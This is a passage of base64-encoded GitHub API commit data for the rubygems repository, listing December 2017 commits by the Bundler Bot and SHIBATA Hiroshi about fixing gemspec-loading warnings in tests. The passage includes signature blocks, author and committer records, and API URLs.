1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6ImhzYnQiLCJpZCI6MTIzMDEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEyMzAxP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vaHNidCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6IjUxMTc1ZWY0ZjcxYzU2ZGVhNGViMGExZDkyZjc3ZWYzOGJjYTIzNzAiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvNTExNzVlZjRmNzFjNTZkZWE0ZWIwYTFkOTJmNzdlZjM4YmNhMjM3MCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC81MTE3NWVmNGY3MWM1NmRlYTRlYjBhMWQ5MmY3N2VmMzhiY2EyMzcwIn1dfSx7InNoYSI6IjUxMTc1ZWY0ZjcxYzU2ZGVhNGViMGExZDkyZjc3ZWYzOGJjYTIzNzAiLCJjb21taXQiOnsiYXV0aG9yIjp7Im5hbWUiOiJUaGUgQnVuZGxlciBCb3QiLCJlbWFpbCI6ImJvdEBidW5kbGVyLmlvIiwiZGF0ZSI6IjIwMTctMTItMjNUMTI6Mjc6MTlaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiU0hJQkFUQSBIaXJvc2hpIiwiZW1haWwiOiJoc2J0QHJ1YnktbGFuZy5vcmciLCJkYXRlIjoiMjAxNy0xMi0yNVQwNTo0MTo1MloifSwibWVzc2FnZSI6IkF1dG8gbWVyZ2Ugb2YgIzIxMjUgLSBydWJ5Z2VtczpmaXgtd2FybmluZ3MtaW52YWxpZC1nZW1zcGVjLCByPWhzYnRcblxuQXZvaWQgdG8gd2FybmluZ3MgYWJvdXQgZ2Vtc3BlYyBsb2FkaW5ncyBpbiBydWJ5Z2VtcyB0ZXN0cy5cblxuYGJ1bmRsZXItMS4xNS40LmdlbXNwZWNgIHdhcyBldmFsdWF0ZWQgYEdlbTo6U3BlY2lmaWNhdGlvbi5sb2FkYC4gSXQgbmVlZHMgdmFsaWQgZ2Vtc3BlYy4iLCJ0cmVlIjp7InNoYSI6IjdhZmNlMzUzNjAwMjNlYzIwMzFlYWMzYWQ0NjlhNzBjNjRlZDE1MjIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy83YWZjZTM1MzYwMDIzZWMyMDMxZWFjM2FkNDY5YTcwYzY0ZWQxNTIyIn0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvNTExNzVlZjRmNzFjNTZkZWE0ZWIwYTFkOTJmNzdlZjM4YmNhMjM3MCIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6dHJ1ZSwicmVhc29uIjoidmFsaWQiLCJzaWduYXR1cmUiOiItLS0tLUJFR0lOIFBHUCBTSUdOQVRVUkUtLS0tLVxuXG5pUUV6QkFBQkNBQWRGaUVFNTBMUjkwSk9vLzNwSXZkbStjOFRRWEprK3NJRkFscEFqNklBQ2drUStjOFRRWEprXG4rc0l6a0FmL1lhZ1RUZ0phVFU0VWxmdlRDTCs5MHRacDliQk1tbzRYTzRnRHFxMXl1bWQwcVg4UWwzWHRzL3R2XG5xUVRvaSsvMHBhSEh6ak5sdExvakQvditQWnB6T1hDQzJ3WnZiL2VWeVVoNzJoeGN2N1Z2RCtXMEgxZVBTU2ZpXG5PcC9BRTA0RENTVnVvcjBzYU43S1diMTVqdmpIRzBEeHdOWDZjbytuZDhXejY3SlJvTkd0dmt5TEc1R3BNN0t6XG5MNHlWRDdqOWNabXBVeFRMOUd2TDlOZTF1U0xPd040R0V4ZFYwRzZrUlMvZFBoUklHTzhTeGpQalYrbHlFdTMrXG5XQ1RXN2YxYXRCS0NZY3RhOXFSTjJ6WE5EN2FoV2VIMGY3OHlBWk1MR2Y0NjVJbHh5VTdUYmlScXE1bU11VkhsXG4vaEg1dlMvK1BTbTEyTWdqT1loLzJUdGZZTTZ3SGc9PVxuPURDRjlcbi0tLS0tRU5EIFBHUCBTSUdOQVRVUkUtLS0tLSIsInBheWxvYWQiOiJ0cmVlIDdhZmNlMzUzNjAwMjNlYzIwMzFlYWMzYWQ0NjlhNzBjNjRlZDE1MjJcbnBhcmVudCBkYzM3NDViMGI2YmRlMWQ1ZGFiMjNlZTQ2MDc4MDc3YTFmYWMyMjBhXG5hdXRob3IgVGhlIEJ1bmRsZXIgQm90IDxib3RAYnVuZGxlci5pbz4gMTUxNDAzMjAzOSArMDAwMFxuY29tbWl0dGVyIFNISUJBVEEgSGlyb3NoaSA8aHNidEBydWJ5LWxhbmcub3JnPiAxNTE0MTgwNTEyICswOTAwXG5cbkF1dG8gbWVyZ2Ugb2YgIzIxMjUgLSBydWJ5Z2VtczpmaXgtd2FybmluZ3MtaW52YWxpZC1nZW1zcGVjLCByPWhzYnRcblxuQXZvaWQgdG8gd2FybmluZ3MgYWJvdXQgZ2Vtc3BlYyBsb2FkaW5ncyBpbiBydWJ5Z2VtcyB0ZXN0cy5cblxuYGJ1bmRsZXItMS4xNS40LmdlbXNwZWNgIHdhcyBldmFsdWF0ZWQgYEdlbTo6U3BlY2lmaWNhdGlvbi5sb2FkYC4gSXQgbmVlZHMgdmFsaWQgZ2Vtc3BlYy5cbiJ9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzUxMTc1ZWY0ZjcxYzU2ZGVhNGViMGExZDkyZjc3ZWYzOGJjYTIzNzAiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvNTExNzVlZjRmNzFjNTZkZWE0ZWIwYTFkOTJmNzdlZjM4YmNhMjM3MCIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy81MTE3NWVmNGY3MWM1NmRlYTRlYjBhMWQ5MmY3N2VmMzhiY2EyMzcwL2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoiYnVuZGxlcmJvdCIsImlkIjoxMzYxNDYyMiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTM2MTQ2MjI/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9idW5kbGVyYm90IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoiaHNidCIsImlkIjoxMjMwMSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTIzMDE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9oc2J0IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiZGMzNzQ1YjBiNmJkZTFkNWRhYjIzZWU0NjA3ODA3N2ExZmFjMjIwYSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9kYzM3NDViMGI2YmRlMWQ1ZGFiMjNlZTQ2MDc4MDc3YTFmYWMyMjBhIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2RjMzc0NWIwYjZiZGUxZDVkYWIyM2VlNDYwNzgwNzdhMWZhYzIyMGEifV19LHsic2hhIjoiMDhlNmQ5YjU5Njc0MzJmNmFmYjZjMWJkMDA4MjU1NDVlMzI4N2ZlOCIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IlRoZSBCdW5kbGVyIEJvdCIsImVtYWlsIjoiYm90QGJ1bmRsZXIuaW8iLCJkYXRlIjoiMjAxNy0xMi0yM1QxMjoyNzoxOVoifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJUaGUgQnVuZGxlciBCb3QiLCJlbWFpbCI6ImJvdEBidW5kbGVyLmlvIiwiZGF0ZSI6IjIwMTctMTItMjNUMTI6Mjc6MTlaIn0sIm1lc3NhZ2UiOiJBdXRvIG1lcmdlIG9mICMyMTI1IC0gcnVieWdlbXM6Zml4LXdhcm5pbmdzLWludmFsaWQtZ2Vtc3BlYywgcj1oc2J0XG5cbkF2b2lkIHRvIHdhcm5pbmdzIGFib3V0IGdlbXNwZWMgbG9hZGluZ3MgaW4gcnVieWdlbXMgdGVzdHMuXG5cbmBidW5kbGVyLTEuMTUuNC5nZW1zcGVjYCB3YXMgZXZhbHVhdGVkIGBHZW06OlNwZWNpZmljYXRpb24ubG9hZGAuIEl0IG5lZWRzIHZhbGlkIGdlbXNwZWMuIiwidHJlZSI6eyJzaGEiOiJjODljMWNkMDg0OWUyYmViMjNjM2FkM2M0NDA5ODhkNmM1YTVkNGNiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvYzg5YzFjZDA4NDllMmJlYjIzYzNhZDNjNDQwOTg4ZDZjNWE1ZDRjYiJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzLzA4ZTZkOWI1OTY3NDMyZjZhZmI2YzFiZDAwODI1NTQ1ZTMyODdmZTgiLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOmZhbHNlLCJyZWFzb24iOiJ1bnNpZ25lZCIsInNpZ25hdHVyZSI6bnVsbCwicGF5bG9hZCI6bnVsbH19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvMDhlNmQ5YjU5Njc0MzJmNmFmYjZjMWJkMDA4MjU1NDVlMzI4N2ZlOCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC8wOGU2ZDliNTk2NzQzMmY2YWZiNmMxYmQwMDgyNTU0NWUzMjg3ZmU4IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzA4ZTZkOWI1OTY3NDMyZjZhZmI2YzFiZDAwODI1NTQ1ZTMyODdmZTgvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJidW5kbGVyYm90IiwiaWQiOjEzNjE0NjIyLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMzYxNDYyMj92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2J1bmRsZXJib3QiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJidW5kbGVyYm90IiwiaWQiOjEzNjE0NjIyLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMzYxNDYyMj92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2J1bmRsZXJib3QiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiJlZDUwOGYyNGNmODlkZjM1NWVjZDhmMDE0NGI0NjBiODJiMGM4MWZkIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2VkNTA4ZjI0Y2Y4OWRmMzU1ZWNkOGYwMTQ0YjQ2MGI4MmIwYzgxZmQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvZWQ1MDhmMjRjZjg5ZGYzNTVlY2Q4ZjAxNDRiNDYwYjgyYjBjODFmZCJ9LHsic2hhIjoiMDRjZTYwOGQ2NDg5NGE4Yjc0NjY1ZjExNTZjMjA3NzFkYjM2ZWYwMyIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy8wNGNlNjA4ZDY0ODk0YThiNzQ2NjVmMTE1NmMyMDc3MWRiMzZlZjAzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzA0Y2U2MDhkNjQ4OTRhOGI3NDY2NWYxMTU2YzIwNzcxZGIzNmVmMDMifV19LHsic2hhIjoiMzJkYmNhMDFkOTZlNmY5OWM5MzM5YzNmZjk2MWRhOTM0ZTE1ODAwMyIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IlNISUJBVEEgSGlyb3NoaSIsImVtYWlsIjoiaHNidEBydWJ5LWxhbmcub3JnIiwiZGF0ZSI6IjIwMTctMTItMjNUMTA6NTA6MDRaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiU0hJQkFUQSBIaXJvc2hpIiwiZW1haWwiOiJoc2J0QHJ1YnktbGFuZy5vcmciLCJkYXRlIjoiMjAxNy0xMi0yM1QxMDo1MDowNFoifSwibWVzc2FnZSI6IkZpeCBhIHdyb25nIGNvbmRpdGlvbiIsInRyZWUiOnsic2hhIjoiNDI3MTVhYzlhM2JlNTk3NWNjNWJlMmE1MTIxMTdkMjIxODQxMWE1MiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzLzQyNzE1YWM5YTNiZTU5NzVjYzViZTJhNTEyMTE3ZDIyMTg0MTFhNTIifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy8zMmRiY2EwMWQ5NmU2Zjk5YzkzMzljM2ZmOTYxZGE5MzRlMTU4MDAzIiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjp0cnVlLCJyZWFzb24iOiJ2YWxpZCIsInNpZ25hdHVyZSI6Ii0tLS0tQkVHSU4gUEdQIFNJR05BVFVSRS0tLS0tXG5cbmlRRXpCQUFCQ0FBZEZpRUU1MExSOTBKT28vM3BJdmRtK2M4VFFYSmsrc0lGQWxvK05Od0FDZ2tRK2M4VFFYSmtcbitzS3RVZ2Y5RnZhQW1KcVhHem1zUDNoWnRiK1JJWnlFSURCWGNvdUhHVTRVcVhna2cwWGU3cWViRGFJbUR0OGxcbjRjaW5kRDV0bDRqM1dmQWhpZGxFZTJWRWZNbmQzSGFGTS9oL3FtODlTSTVFRkVKUExOVkdxVWZPc1E5cm5sTVNcbnhFbkovNE5Ea05LanNrSVNTOHZoZWY0bnpXOG9YUTZVQjZNcm1Wa3pNdWFQOVFIeGI1eUdKdjdmWjFPVDFVNHpcblI5Z2JpRHppdlo3eVhha2JQall5MlJuRzJVY3BRS2d5cWFqblkwNFR1VlJzZExpSllNbFQxNGtGVE5JM21RbXhcbnVRbHJPYmdBZ3ZFWXl6c3ZjYzJYbU81SE8xSzEvRTFwby92WEZvOGZ3YkhtVXVjbkt6T3ltb2xSVm5xUWhSYmlcbkdFYk1UcTRPbWEyYlZJRXM1d3BLMERmRStYcm93dz09XG49bUpmbVxuLS0tLS1FTkQgUEdQIFNJR05BVFVSRS0tLS0tIiwicGF5bG9hZCI6InRyZWUgNDI3MTVhYzlhM2JlNTk3NWNjNWJlMmE1MTIxMTdkMjIxODQxMWE1MlxucGFyZW50IGIzYmY4OWNmYzY1NmY5MzkyMDlhM2JmZTdmNWQwYTcxN2RiNDliMDZcbmF1dGhvciBTSElCQVRBIEhpcm9zaGkgPGhzYnRAcnVieS1sYW5nLm9yZz4gMTUxNDAyNjIwNCArMDkwMFxuY29tbWl0dGVyIFNISUJBVEEgSGlyb3NoaSA8aHNidEBydWJ5LWxhbmcub3JnPiAxNTE0MDI2MjA0ICswOTAwXG5cbkZpeCBhIHdyb25nIGNvbmRpdGlvblxuIn19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvMzJkYmNhMDFkOTZlNmY5OWM5MzM5YzNmZjk2MWRhOTM0ZTE1ODAwMyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC8zMmRiY2EwMWQ5NmU2Zjk5YzkzMzljM2ZmOTYxZGE5MzRlMTU4MDAzIiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzMyZGJjYTAxZDk2ZTZmOTljOTMzOWMzZmY5NjFkYTkzNGUxNTgwMDMvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJoc2J0IiwiaWQiOjEyMzAxLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMjMwMT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2hzYnQiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2